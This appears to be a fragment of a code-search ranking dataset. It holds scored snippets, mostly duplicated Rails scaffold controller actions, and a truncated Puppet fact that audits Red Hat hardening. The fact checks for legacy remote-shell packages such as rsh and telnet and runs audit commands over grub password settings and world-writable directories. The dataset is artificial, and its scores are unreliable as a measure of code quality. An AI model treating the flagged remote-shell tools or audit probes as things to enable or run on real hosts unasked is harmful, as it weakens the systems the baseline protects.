"docid": "4b0de6e07b8dc59ebf6b3d2607ed028f",
"score": "0.643393",
"text": "def new\n @percipitation = Percipitation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @percipitation }\n end\n end",
"title": ""
},
{
"docid": "2c938e84bc31cdc71fe947ce8217f8be",
"score": "0.6429559",
"text": "def create\n @solicitud = Solicitud.new(params[:solicitud])\n respond_to do |format|\n if @solicitud.save\n flash[:notice] = 'La solicitud a sido correctamente creada.'\n format.html { redirect_to(@solicitud) }\n format.xml { render :xml => @solicitud, :status => :created, :location => @solicitud }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @solicitud.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2a494bae52b2fedb0b106bf3a0accdb6",
"score": "0.6429371",
"text": "def new\n @invite = Invite.new\n\n respond_to do |format|\n format.html\n format.xml { render xml: @invite }\n end\n end",
"title": ""
},
{
"docid": "e84fdc2bea1482604100328d6e346333",
"score": "0.64284253",
"text": "def new\n @sucursal = Sucursal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sucursal }\n end\n end",
"title": ""
},
{
"docid": "e84fdc2bea1482604100328d6e346333",
"score": "0.64284253",
"text": "def new\n @sucursal = Sucursal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sucursal }\n end\n end",
"title": ""
},
{
"docid": "e84fdc2bea1482604100328d6e346333",
"score": "0.64284253",
"text": "def new\n @sucursal = Sucursal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sucursal }\n end\n end",
"title": ""
},
{
"docid": "f3e6d3411ccdda800e4e9c341fe51632",
"score": "0.64281076",
"text": "def new\n @disciplina = Disciplina.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @disciplina }\n end\n end",
"title": ""
},
{
"docid": "be1aac48a0bc7445874fc9d2f80a10e9",
"score": "0.64280075",
"text": "def new\n @rse = Rsis.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rse }\n end\n end",
"title": ""
},
{
"docid": "2675f618551d1934e30c7591a4be641e",
"score": "0.6427184",
"text": "def new\n @sign = Sign.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sign }\n end\n end",
"title": ""
},
{
"docid": "87cac32a091b9d0cbef4c8eb744a0f3a",
"score": "0.6427087",
"text": "def create\n @solicit = Solicit.new(solicit_params)\n\n respond_to do |format|\n if @solicit.save\n format.html { redirect_to @solicit, notice: 'Solicit was successfully created.' }\n format.json { render :show, status: :created, location: @solicit }\n else\n format.html { render :new }\n format.json { render json: @solicit.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a943f903b4efe467f6d8640bee4d994e",
"score": "0.6422843",
"text": "def new\n @sequent = Sequent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sequent }\n end\n end",
"title": ""
},
{
"docid": "4358f8420cf7da6dcb3af1828cc77489",
"score": "0.64201194",
"text": "def new\n @seenlist = Seenlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @seenlist }\n end\n end",
"title": ""
},
{
"docid": "09659b5e0a0b570d5c8019b81ae00efa",
"score": "0.64193916",
"text": "def new\n @lien = Lien.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lien }\n end\n end",
"title": ""
},
{
"docid": "35d1090b3d4daa72227575e34ee2c22c",
"score": "0.64190304",
"text": "def new\n @individual = Individual.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @individual }\n end\n end",
"title": ""
},
{
"docid": "c0b04c2caa079aca6a688862e248e7b2",
"score": "0.6411669",
"text": "def new\n @emails_person = EmailsPerson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @emails_person }\n end\n end",
"title": ""
},
{
"docid": "97fa96433f07d7afb7fb8572043e8be0",
"score": "0.64025223",
"text": "def new\n @prereg = Prereg.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prereg }\n end\n end",
"title": ""
},
{
"docid": "41433d74e36719684775ad2d50c3eabe",
"score": "0.6400788",
"text": "def new\n @new = New.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @new }\n end\n end",
"title": ""
},
{
"docid": "bc5cf6e3af04a5cf8022f27c96c345fa",
"score": "0.6400657",
"text": "def new\n @correspondencia = Correspondencia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @correspondencia }\n end\n end",
"title": ""
},
{
"docid": "c960aef1d6039abae3df77026d7fcbdf",
"score": "0.63995993",
"text": "def new\n @seguimiento = Seguimiento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @seguimiento }\n end\n end",
"title": ""
},
{
"docid": "6adb0d86f60c70425e05d6373ec45ec3",
"score": "0.6398858",
"text": "def new\n @signer = Signer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @signer }\n end\n end",
"title": ""
},
{
"docid": "0c864090ea6b70d2fff6ef51011e2e5f",
"score": "0.6398567",
"text": "def new\n @consignee = Consignee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @consignee }\n end\n end",
"title": ""
},
{
"docid": "22f3172093eda2035fb7eccb1e3a069a",
"score": "0.6395961",
"text": "def new\n @invite = Invite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invite }\n end\n end",
"title": ""
},
{
"docid": "0ee046e22abe8e6f51ed90401049eef2",
"score": "0.63958645",
"text": "def new\n @prayer_request = PrayerRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prayer_request }\n end\n end",
"title": ""
},
{
"docid": "b2c6226a3587875a035c8e4dc80c67ae",
"score": "0.6390462",
"text": "def new\n @addresses_person = AddressesPerson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @addresses_person }\n end\n end",
"title": ""
},
{
"docid": "0abcb28afb826270cc89cf51d2e3fc8d",
"score": "0.63893443",
"text": "def new\n @sifi = Sifi.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sifi }\n end\n end",
"title": ""
},
{
"docid": "e8186b691c6b79b0e9e73d3bce41111d",
"score": "0.63890505",
"text": "def new\n @preregister = Preregister.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @preregister }\n end\n end",
"title": ""
},
{
"docid": "81b4fd33dee315bdd3f9530e7a48d9df",
"score": "0.63878316",
"text": "def new\n @asignado = Asignado.new\n @personas = Persona.find(:all)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asignado }\n end\n end",
"title": ""
},
{
"docid": "8b3e0819d32195d413827ad547663eba",
"score": "0.6384016",
"text": "def new\n @spiga = Spiga.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @spiga }\n end\n end",
"title": ""
},
{
"docid": "7318f07d74dab8ab1790563fcc37cc1c",
"score": "0.63833463",
"text": "def new\n @seal = Seal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @seal }\n end\n end",
"title": ""
},
{
"docid": "121ff897e5e0899474fe227761c4d9e8",
"score": "0.6380804",
"text": "def new\n @sensitivemask = Sensitivemask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sensitivemask }\n end\n end",
"title": ""
},
{
"docid": "702300833c0c8e427ecbdd091a945b5e",
"score": "0.63806766",
"text": "def new\n @fee = Fee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fee }\n end\n end",
"title": ""
},
{
"docid": "4a65327915bf1689ce526b6c52e7237d",
"score": "0.6378668",
"text": "def new\n @menu = \"client\"\n @page_name = \"Invite an client\"\n @client_invitation = ClientInvitation.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @client_invitation }\n end\n end",
"title": ""
},
{
"docid": "fcc715418c53308e75bd7dab571bfcf5",
"score": "0.637711",
"text": "def new\n @notacredito = Notacredito.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @notacredito }\n end\n end",
"title": ""
},
{
"docid": "cd5b80abaa0af95086236d2daf9bfea7",
"score": "0.6377038",
"text": "def new\n @entrega = Entrega.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entrega }\n end\n end",
"title": ""
},
{
"docid": "2a6c97fdf72eb8a8d09d3335101fb5d1",
"score": "0.6372084",
"text": "def new\n @signum = Signum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @signum }\n end\n end",
"title": ""
},
{
"docid": "1c829e11964ab94084936f4874bd6317",
"score": "0.6370417",
"text": "def new\n @adress = Adress.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @adress }\n end\n end",
"title": ""
},
{
"docid": "1d0cc3818f7639a1bf33e1610b686cde",
"score": "0.63696176",
"text": "def new\n @indication = Indication.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @indication }\n end\n end",
"title": ""
},
{
"docid": "ddd12950723324c431c008cac1085c83",
"score": "0.6366585",
"text": "def new\n @request_sending = RequestSending.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request_sending }\n end\n end",
"title": ""
},
{
"docid": "fbdbaab027ac6b080b8da6e2744c682f",
"score": "0.63589436",
"text": "def new\n @service_request = ServiceRequest.new\n\n respond_to do |format|\n format.html \n format.xml { render :xml => @service_request }\n end\n end",
"title": ""
},
{
"docid": "1dd45d809ed4f71dfc083a62aa6ecc64",
"score": "0.6357704",
"text": "def new\n @invitacion = Invitacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invitacion }\n end\n end",
"title": ""
},
{
"docid": "1dd45d809ed4f71dfc083a62aa6ecc64",
"score": "0.6357704",
"text": "def new\n @invitacion = Invitacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invitacion }\n end\n end",
"title": ""
},
{
"docid": "735010f2693696196854df45823338a9",
"score": "0.63507116",
"text": "def new\n @firma = Firma.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @firma }\n end\n end",
"title": ""
},
{
"docid": "6181e4904cdbd41cca0aa9e1a2f233ce",
"score": "0.6350309",
"text": "def new\n @estagiarios = Estagiario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estagiarios }\n end\n end",
"title": ""
},
{
"docid": "1b799837b03b391624dc2f4dd2d0e0c0",
"score": "0.6350193",
"text": "def new\n @prizzm_invitation = current_company.prizzm_invitations.new(:name => \"New Invitation\")\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prizzm_invitation }\n end\n end",
"title": ""
},
{
"docid": "d8a90f7b50af5beebd412f445ff729c9",
"score": "0.63437074",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fund_request_type }\n end\n end",
"title": ""
},
{
"docid": "05da1f23144086082d22a376368b77f6",
"score": "0.6340487",
"text": "def new\n @emissora = Emissora.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @emissora }\n end\n end",
"title": ""
},
{
"docid": "79c766a084106c29dbfa85b40cdc77c5",
"score": "0.6334621",
"text": "def new\n @pessoa = Pessoa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pessoa }\n end\n end",
"title": ""
},
{
"docid": "161da020e756114b40b9240b596e5b6b",
"score": "0.6334125",
"text": "def new\n @firm = Firm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @firm }\n end\n end",
"title": ""
},
{
"docid": "22616341a45d0cdf015d956e39aaaf5f",
"score": "0.6332183",
"text": "def new\n @r_i = RI.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @r_i }\n end\n end",
"title": ""
},
{
"docid": "701b5c3210563f2d5ecf68a256dd8d3e",
"score": "0.63289607",
"text": "def new\n @servico = Servico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @servico }\n end\n end",
"title": ""
},
{
"docid": "f469f19e5f135d0a4adfd8294ff346d9",
"score": "0.63270843",
"text": "def new\n @Invite = Invite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @Invite }\n end\n end",
"title": ""
},
{
"docid": "c8e503ed938051f8a0b27a8b5cc2a68e",
"score": "0.6325523",
"text": "def new\n @creator = Creator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @creator }\n end\n end",
"title": ""
},
{
"docid": "dc8ad0097ccdb54bb39fa8494629ff16",
"score": "0.6323812",
"text": "def new\n @rt = Rt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rt }\n end\n end",
"title": ""
},
{
"docid": "5c071f2d26c7abd049e355aa44f969f6",
"score": "0.63222367",
"text": "def new\n @respuesta = Respuesta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @respuesta }\n end\n end",
"title": ""
},
{
"docid": "db57367ca4f2a6d1db2e38b029e1ecf7",
"score": "0.6320662",
"text": "def new\n @specificaton = Specificaton.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @specificaton }\n end\n end",
"title": ""
},
{
"docid": "a0fdd7e2070e34e3465e6407512f168c",
"score": "0.6318523",
"text": "def new\n @thesis = Thesis.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thesis }\n end\n end",
"title": ""
}
] |
f283eb3b3558e30353f14f7c591df95d
|
Copyright 2010 Red Hat, Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ++
|
[
{
"docid": "b277c025033e531c07f3294e3cc33a05",
"score": "0.0",
"text": "def usage\n puts <<USAGE\n== Synopsis\n\nss-cartridge-list: Lists all cartridges installed on the node\n\n== Usage\n\nss-cartridge-list --with-descriptors [--porcelain]\n\nOptions:\n-h|--help:\n Prints this message\n\nUSAGE\nend",
"title": ""
}
] |
[
{
"docid": "51a79b6e4544f99b3a3bf05313175e9f",
"score": "0.56485575",
"text": "def server_software; end",
"title": ""
},
{
"docid": "6ab77a9219ee157923bc58599ba6aa77",
"score": "0.55940115",
"text": "def in_use; end",
"title": ""
},
{
"docid": "6ab77a9219ee157923bc58599ba6aa77",
"score": "0.55940115",
"text": "def in_use; end",
"title": ""
},
{
"docid": "81f7aebca60362d68e6bfc21045d4006",
"score": "0.55685145",
"text": "def sysstat_version\n '11.0.1'\nend",
"title": ""
},
{
"docid": "0a0d1d29e6f65c30e12962e30d9d4f02",
"score": "0.556271",
"text": "def server_os; end",
"title": ""
},
{
"docid": "0a0d1d29e6f65c30e12962e30d9d4f02",
"score": "0.556271",
"text": "def server_os; end",
"title": ""
},
{
"docid": "e0ccd434067c204de8909cb83569deeb",
"score": "0.5489673",
"text": "def capabilities; end",
"title": ""
},
{
"docid": "e0ccd434067c204de8909cb83569deeb",
"score": "0.5489673",
"text": "def capabilities; end",
"title": ""
},
{
"docid": "e0ccd434067c204de8909cb83569deeb",
"score": "0.5489673",
"text": "def capabilities; end",
"title": ""
},
{
"docid": "e25165ad8150f27b7710ee953b1450ef",
"score": "0.53986007",
"text": "def redhat_platform?\n [\"redhat\",\"centos\",\"fedora\"].include?(platform)\nend",
"title": ""
},
{
"docid": "45b3950b9bdade96e9e8b333d2f9f188",
"score": "0.5387589",
"text": "def prerelease_specs; end",
"title": ""
},
{
"docid": "c314fab7c2461bfb0898fa6e23545438",
"score": "0.53875864",
"text": "def serverless; end",
"title": ""
},
{
"docid": "5018ed9b1ed43ba02f539ec5b11e539a",
"score": "0.5349387",
"text": "def solaris?; end",
"title": ""
},
{
"docid": "0253b255b7706ea46374f498309db256",
"score": "0.5320267",
"text": "def security_baseline_redhat(os, _distid, release)\n security_baseline = {}\n arch = Facter.value(:architecture)\n\n services = ['autofs', 'avahi-daemon', 'cups', 'dhcpd', 'named', 'dovecot', 'httpd', 'ldap', 'slapd', 'ypserv', 'ntalk', 'rhnsd', 'rsyncd', 'smb',\n 'snmpd', 'squid', 'telnet.socket', 'tftp.socket', 'vsftpd', 'xinetd', 'sshd', 'crond', 'firewalld', 'iptables', 'nftables']\n packages = { 'iptables' => '-q',\n 'nftables' => '-q',\n 'firewalld' => '-q',\n 'wireless-tools' => '-q',\n 'openldap-clients' => '-q',\n 'logrotate' => '-q',\n 'mcstrans' => '-q',\n 'prelink' => '-q',\n 'rsh' => '-q',\n 'libselinux' => '-q',\n 'setroubleshoot' => '-q',\n 'talk' => '-q',\n 'audit' => '-q',\n 'audit-libs' => '-q',\n 'tcp_wrappers' => '-q',\n 'telnet' => '-q',\n 'ypbind' => '-q',\n 'xinetd' => '-q',\n 'sudo' => '-q' }\n modules = ['cramfs', 'dccp', 'freevxfs', 'hfs', 'hfsplus', 'jffs2', 'rds', 'sctp', 'squashfs', 'tipc', 'udf', 'vfat', 'usb-storage']\n xinetd_services = ['echo-dgram', 'echo-stream', 'time-dgram', 'time-stream', 'chargen-dgram', 'chargen-stream', 'tftp',\n 'daytime-dgram', 'daytime-stream', 'discard-dgram', 'discard-stream', 'rexec', 'rlogin', 'rsh', 'talk', 'telnet', 'rsync']\n sysctl_values = ['net.ipv4.ip_forward', 'net.ipv4.conf.all.send_redirects', 'net.ipv4.conf.default.send_redirects',\n 'net.ipv4.conf.all.accept_source_route', 'net.ipv4.conf.default.accept_source_route', 'net.ipv4.conf.all.accept_redirects',\n 'net.ipv4.conf.default.accept_redirects', 'net.ipv4.conf.all.secure_redirects', 'net.ipv4.conf.all.log_martians',\n 'net.ipv4.conf.default.log_martians', 'net.ipv4.icmp_echo_ignore_broadcasts', 'net.ipv4.icmp_ignore_bogus_error_responses',\n 'net.ipv4.conf.all.rp_filter', 'net.ipv4.conf.default.rp_filter', 'net.ipv4.tcp_syncookies',\n 'net.ipv6.conf.all.accept_ra', 'net.ipv6.conf.default.accept_ra', 'net.ipv6.conf.all.accept_redirects',\n 'net.ipv6.conf.default.accept_redirects', 'net.ipv6.conf.all.disable_ipv6', 'net.ipv6.conf.default.disable_ipv6',\n 'kernel.randomize_va_space', 'fs.suid_dumpable']\n\n security_baseline['puppet_agent_postrun'] = check_puppet_postrun_command\n security_baseline[:kernel_modules] = read_facts_kernel_modules(modules)\n security_baseline[:packages_installed] = read_facts_packages_installed(packages)\n security_baseline[:services_enabled] = read_facts_services_enabled(services, os, release)\n\n security_baseline[:xinetd_services] = read_facts_xinetd_services(xinetd_services)\n security_baseline[:sysctl] = read_facts_sysctl(sysctl_values)\n security_baseline[:aide] = read_facts_aide(os)\n\n selinux = {}\n val = if File.exist?('/boot/grub/grub.conf')\n Facter::Core::Execution.exec('grep \"^\\s*kernel\" /boot/grub/grub.cfg | grep -e \"selinux.*=.*0\" -e \"enforcing.*=.*0\"')\n elsif File.exist?('/boot/grub2/grub.cfg')\n Facter::Core::Execution.exec('grep \"^\\s*linux\" /boot/grub2/grub.cfg | grep -e \"selinux.*=.*0\" -e \"enforcing.*=.*0\"')\n else\n ''\n end\n selinux['bootloader'] = (val.nil? || val.empty?)\n security_baseline[:selinux] = selinux\n\n partitions = {}\n shm = {}\n mounted = Facter::Core::Execution.exec('mount | grep /dev/shm')\n shm['nodev'] = check_value_regex(mounted, 'nodev')\n shm['noexec'] = check_value_regex(mounted, 'noexec')\n shm['nosuid'] = check_value_regex(mounted, 'nosuid')\n shm['partition'] = Facter::Core::Execution.exec('mount | grep \"on /dev/shm \"|awk \\'{print $3;}\\'')\n partitions['shm'] = shm\n\n home = {}\n home['partition'] = Facter::Core::Execution.exec('mount | grep \"on /home \"|awk \\'{print $3;}\\'')\n mounted = Facter::Core::Execution.exec('mount | grep \"on /home \"')\n home['nodev'] = check_value_regex(mounted, 'nodev')\n partitions['home'] = home\n\n tmp = {}\n tmp['partition'] = Facter::Core::Execution.exec('mount | grep \"on /tmp \"|awk \\'{print $3;}\\'')\n mounted = Facter::Core::Execution.exec('mount | grep \"on /tmp \"')\n tmp['nodev'] = check_value_regex(mounted, 'nodev')\n tmp['noexec'] = check_value_regex(mounted, 'noexec')\n tmp['nosuid'] = check_value_regex(mounted, 'nosuid')\n partitions['tmp'] = tmp\n\n var_tmp = {}\n var_tmp['partition'] = Facter::Core::Execution.exec('mount | grep \" on /var/tmp \"|awk \\'{print $3;}\\'')\n mounted = Facter::Core::Execution.exec('mount | grep \"on /var/tmp \"')\n var_tmp['nodev'] = check_value_regex(mounted, 'nodev')\n var_tmp['noexec'] = check_value_regex(mounted, 'noexec')\n var_tmp['nosuid'] = check_value_regex(mounted, 'nosuid')\n partitions['var_tmp'] = var_tmp\n\n var = {}\n var['partition'] = Facter::Core::Execution.exec('mount | grep \" on /var \"|awk \\'{print $3;}\\'')\n partitions['var'] = var\n\n var_log = {}\n var_log['partition'] = Facter::Core::Execution.exec('mount | grep \" on /var/log \"|awk \\'{print $3;}\\'')\n partitions['var_log'] = var_log\n\n var_log_audit = {}\n var_log_audit['partition'] = Facter::Core::Execution.exec('mount | grep \"/var/log/audit \"|awk \\'{print $3;}\\'')\n partitions['var_log_audit'] = var_log_audit\n\n security_baseline[:partitions] = partitions\n\n yum = {}\n val = if release.to_i > 6\n Facter::Core::Execution.exec('yum repolist -q | grep -v \"^repo id\"')\n else\n Facter::Core::Execution.exec('yum repolist | grep -v -e \"^repo id\" -e \"^ \\*\" -e \"^Load\" -e \"^repolist\"')\n end\n if val.nil? || val.empty?\n repos = 'none'\n repocount = 0\n else\n repos = val.split(\"\\n\")\n repocount = repos.count\n end\n yum['repolist_config'] = repocount > 0\n yum['repolist'] = repos\n value = Facter::Core::Execution.exec('grep ^gpgcheck /etc/yum.conf')\n yum['gpgcheck'] = if value.empty?\n false\n elsif value == 'gpgcheck=1'\n true\n else\n false\n end\n security_baseline[:yum] = yum\n\n x11 = {}\n # do not consider xorg-x11-fonts packages as these are necessary for java\n pkgs = Facter::Core::Execution.exec('rpm -qa xorg-x11* | grep -v xorg-x11-fonts')\n x11['installed'] = if pkgs.nil? || pkgs.empty?\n false\n else\n true\n end\n\n security_baseline[:x11] = x11\n\n single_user_mode = {}\n if release == '6'\n val = Facter::Core::Execution.exec('grep ^SINGLE /etc/sysconfig/init')\n single_user_mode['status'] = if val.nil? || val.empty?\n false\n else\n val =~ %r{/sbin/sulogin}\n end\n else\n resc = Facter::Core::Execution.exec('grep /sbin/sulogin /usr/lib/systemd/system/rescue.service')\n single_user_mode['rescue'] = check_value_boolean(resc, false)\n\n emerg = Facter::Core::Execution.exec('grep /sbin/sulogin /usr/lib/systemd/system/emergency.service')\n single_user_mode['emergency'] = check_value_boolean(emerg, false)\n\n single_user_mode['status'] = if (single_user_mode['emergency'] == false) || (single_user_mode['rescue'] == false)\n false\n else\n true\n end\n end\n security_baseline[:single_user_mode] = single_user_mode\n\n if release == '6'\n interactive_boot = {}\n val = Facter::Core::Execution.exec('grep \"^PROMPT=\" /etc/sysconfig/init')\n interactive_boot['status'] = if val.nil? || val.empty?\n false\n else\n val =~ %r{PROMPT=no}\n end\n security_baseline['interactive_boot'] = interactive_boot\n end\n\n issue = {}\n issue['os'] = read_file_stats('/etc/issue')\n issue['os']['content'] = Facter::Core::Execution.exec('egrep \\'(\\\\\\v|\\\\\\r|\\\\\\m|\\\\\\s)\\' /etc/issue')\n issue['net'] = read_file_stats('/etc/issue.net')\n issue['net']['content'] = Facter::Core::Execution.exec('egrep \\'(\\\\\\v|\\\\\\r|\\\\\\m|\\\\\\s)\\' /etc/issue.net')\n security_baseline[:issue] = issue\n\n motd = read_file_stats('/etc/motd')\n motd['content'] = Facter::Core::Execution.exec(\"egrep '(\\\\\\\\v|\\\\\\\\r|\\\\\\\\m|\\\\\\\\s)' /etc/motd\")\n security_baseline[:motd] = motd\n\n val = Facter::Core::Execution.exec(\"rpm -q gpg-pubkey --qf '%{name}-%{version}-%{release} --> %{summary}\\n'\")\n security_baseline[:rpm_gpg_keys] = val\n security_baseline[:rpm_gpg_keys_config] = !(val.nil? || val.empty?)\n\n val = Facter::Core::Execution.exec(\"ps -eZ | egrep \\\"initrc\\\" | egrep -vw \\\"tr|ps|egrep|bash|awk\\\" | tr ':' ' ' | awk '{ print $NF }'\")\n security_baseline[:unconfigured_daemons] = check_value_string(val, 'none')\n\n val = Facter::Core::Execution.exec('ps -eZ | grep unconfined_service_t')\n security_baseline[:unconfigured_services] = check_value_string(val, 'none')\n\n val = Facter::Core::Execution.exec(\"df --local -P | awk {'if (NR!=1) print $6'} | xargs -I '{}' find '{}' -xdev -type d \\( -perm -0002 -a ! -perm -1000 \\) 2>/dev/null\")\n security_baseline[:sticky_ww] = check_value_string(val, 'none')\n\n val = if release.to_i <= 6\n Facter::Core::Execution.exec('yum check-update -q | grep -v ^$')\n else\n Facter::Core::Execution.exec('yum check-update --security -q | grep -v ^$')\n end\n security_baseline[:security_patches] = check_value_string(val, 'none')\n\n security_baseline[:gnome_gdm] = Facter::Core::Execution.exec('rpm -qa | grep gnome') != ''\n val1 = check_value_string(Facter::Core::Execution.exec('grep \"user-db:user\" /etc/dconf/profile/gdm'), 'none')\n val2 = check_value_string(Facter::Core::Execution.exec('grep \"system-db:gdm\" /etc/dconf/profile/gdm'), 'none')\n val3 = check_value_string(Facter::Core::Execution.exec('grep \"file-db:/usr/share/gdm/greeter-dconf-defaults\" /etc/dconf/profile/gdm'), 'none')\n security_baseline[:gnome_gdm_conf] = if (val1 == 'none' || val2 == 'none' || val3 == 'none') && security_baseline[:gnome_gdm]\n false\n else\n true\n end\n\n grub = {}\n val = if File.exist?('/boot/grub/grub.cfg')\n Facter::Core::Execution.exec('grep \"^password\" /boot/grub/grub.cfg')\n elsif File.exist?('/boot/grub2/grub.cfg') || File.exist?('/boot/grub2/user.cfg')\n Facter::Core::Execution.exec('grep \"^GRUB2_PASSWORD\" /boot/grub2/grub.cfg /boot/grub2/user.cfg')\n else\n ''\n end\n grub['grub_passwd'] = check_value_boolean(val, false)\n grub['grub.cfg'] = if File.exist?('/boot/grub2/grub.cfg')\n read_file_stats('/boot/grub2/grub.cfg')\n elsif File.exist?('/boot/grub/grub.cfg')\n read_file_stats('/boot/grub/grub.cfg')\n else\n {}\n end\n grub['user.cfg'] = read_file_stats('/boot/grub2/user.cfg')\n security_baseline[:grub] = grub\n\n tcp_wrapper = {}\n hostsallow = read_file_stats('/etc/hosts.allow')\n hostsdeny = read_file_stats('/etc/hosts.deny')\n hostsallow['status'] = File.exist?('/etc/hosts.allow')\n hostsdeny['status'] = File.exist?('/etc/hosts.deny')\n tcp_wrapper['hosts_allow'] = hostsallow\n tcp_wrapper['hosts_deny'] = hostsdeny\n security_baseline[:tcp_wrappers] = tcp_wrapper\n\n coredumps = {}\n fsdumpable = if security_baseline.key?('sysctl')\n if security_baseline['sysctl'].key?('fs.suid_dumpable')\n security_baseline['sysctl']['fs.suid_dumpable']\n else\n nil\n end\n else\n nil\n end\n\n coredumps['limits'] = Facter::Core::Execution.exec('grep -h \"hard core\" /etc/security/limits.conf /etc/security/limits.d/*')\n coredumps['status'] = if coredumps['limits'].empty? || (!fsdumpable.nil? && (security_baseline['sysctl']['fs.suid_dumpable'] != 0))\n false\n else\n true\n end\n security_baseline[:coredumps] = coredumps\n\n pkgs = Facter::Core::Execution.exec('rpm -qa xorg-x11* | grep -v xorg-x11-font')\n security_baseline['x11-packages'] = if pkgs.nil? || pkgs.empty?\n []\n else\n pkgs.split(\"\\n\")\n end\n\n cron = {}\n cron['/etc/crontab'] = read_file_stats('/etc/crontab')\n cron['/etc/cron.hourly'] = read_file_stats('/etc/cron.hourly')\n cron['/etc/cron.daily'] = read_file_stats('/etc/cron.daily')\n cron['/etc/cron.weekly'] = read_file_stats('/etc/cron.weekly')\n cron['/etc/cron.monthly'] = read_file_stats('/etc/cron.monthly')\n cron['/etc/cron.d'] = read_file_stats('/etc/cron.d')\n cron['/etc/cron.allow'] = read_file_stats('/etc/cron.allow')\n cron['/etc/cron.deny'] = read_file_stats('/etc/cron.deny')\n cron['/etc/at.allow'] = read_file_stats('/etc/at.allow')\n cron['/etc/at.deny'] = read_file_stats('/etc/at.deny')\n\n cron['restrict'] = check_cron_restrict(cron)\n security_baseline['cron'] = cron\n\n val = Facter::Core::Execution.exec('dmesg | grep NX')\n security_baseline['nx'] = if check_value_string(val, 'none') =~ %r{protection: active}\n 'protected'\n else\n 'unprotected'\n end\n\n ntpdata = {}\n ntp = check_package_installed('ntp')\n chrony = check_package_installed('chrony')\n ntpdata['ntp_use'] = if ntp != 'none' || chrony != 'none'\n 'used'\n else\n 'not used'\n end\n ntpdata.merge!(check_ntp('/etc/ntp.conf', '/etc/sysconfig/ntp'))\n ntpdata.merge!(check_chrony('/etc/chrony.conf', '/etc/sysconfig/chronyd'))\n security_baseline['ntp'] = ntpdata\n\n security_baseline['sshd'] = read_sshd_config\n\n pam = {}\n pwquality = {}\n if release > '6'\n val1 = Facter::Core::Execution.exec('grep pam_pwquality.so /etc/pam.d/password-auth')\n val2 = Facter::Core::Execution.exec('grep pam_pwquality.so /etc/pam.d/system-auth')\n else\n val1 = Facter::Core::Execution.exec('grep pam_cracklib.so /etc/pam.d/password-auth')\n val2 = Facter::Core::Execution.exec('grep pam_cracklib.so /etc/pam.d/system-auth')\n end\n pwquality['password-auth'] = check_value_string(val1, 'none')\n pwquality['system-auth'] = check_value_string(val2, 'none')\n val = 